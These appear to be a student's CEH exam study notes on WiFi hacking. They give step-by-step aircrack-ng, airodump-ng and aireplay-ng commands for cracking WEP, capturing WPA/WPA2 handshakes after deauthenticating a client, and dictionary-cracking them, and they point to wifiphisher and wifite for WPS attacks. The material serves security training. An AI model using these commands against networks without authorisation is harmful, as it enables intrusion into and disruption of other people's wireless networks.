**CEH Notes Day-17 (11/01/2020)**

WiFi Hacking

WEP

# iwconfig

# airmon-ng start wlan0

# iwconfig

# airmon-ng check kill

# airodump-ng wlan0mon

note bssid, essid and channel

# airodump-ng --bssid <Accesspoint MAC> --essid <Accesspoint name> --channel <Accesspoint channel> --write <filename> wlan0mon

spawn a new terminal

# aircrack-ng <filename>.cap

WPA/WPA2

remember handshakes are better to be captured in ivs format

ivs - this format exclusively gives handshake packets in the network and not all other packets.

the handshakes have a HASH which client shows to the network when connecting back to re-authenticate.

# airodump-ng --bssid <Accesspoint MAC> --essid <Accesspoint name> --channel <Accesspoint channel> --write <filename> --ivs wlan0mon

This authentication can be cracked only during client authentication with router. So, we need to deauthenticate a user from the network so that it can connect back and perform handshake which we will capture using Aireplay-ng.

# aireplay-ng -0 10 -a <Accesspoint MAC> -c <Client to deauth> -e <Accesspoint name> wlan0mon

Aireplay-ng - this utility is also used to de-authenticate a automatically connecting client to obtain the connecting hash during handshake.

# aircrack-ng -w <dictionary file location> <filename>

This captured files should be analysed using a dictionary file eg:rockyu.txt for password match. If no password matches the dictionary, the authentication cannot be cracked.

<https://github.com/wifiphisher/wifiphisher>

wifiphisher --force-hostapd

WPS

To check available WPS

command line automated utility wifite

wifite - Tool to attack multiple WEP, WPA, and WPS encrypted networks in a row.

# wifite --wps

<https://github.com/derv82/wifite2>

WIFI WPS WPA TESTER - Android App

Wireless hacking ASPEN pdf CEH important questions

wireless standards table - pg:9 - wimax range (1-6 miles)

Types of Antennas - pg:16 - Yagi Antenna

Length of WEP Key - pg:22

Encryption Algorithm table - pg:29 - Most important -

Aircrack-ng tools - pg:75

Bluetooth Hacking - pg:114 - Bluejacking

<https://www.browserstack.com/>

<https://owncloud.org/>

Anatomy of an IoT Attack - <https://www.youtube.com/watch?v=GvLnb4YQHh0>

IoT Exploitation 101 - Aditya Gupta - <https://www.youtube.com/watch?v=DlgtMwTx1-U>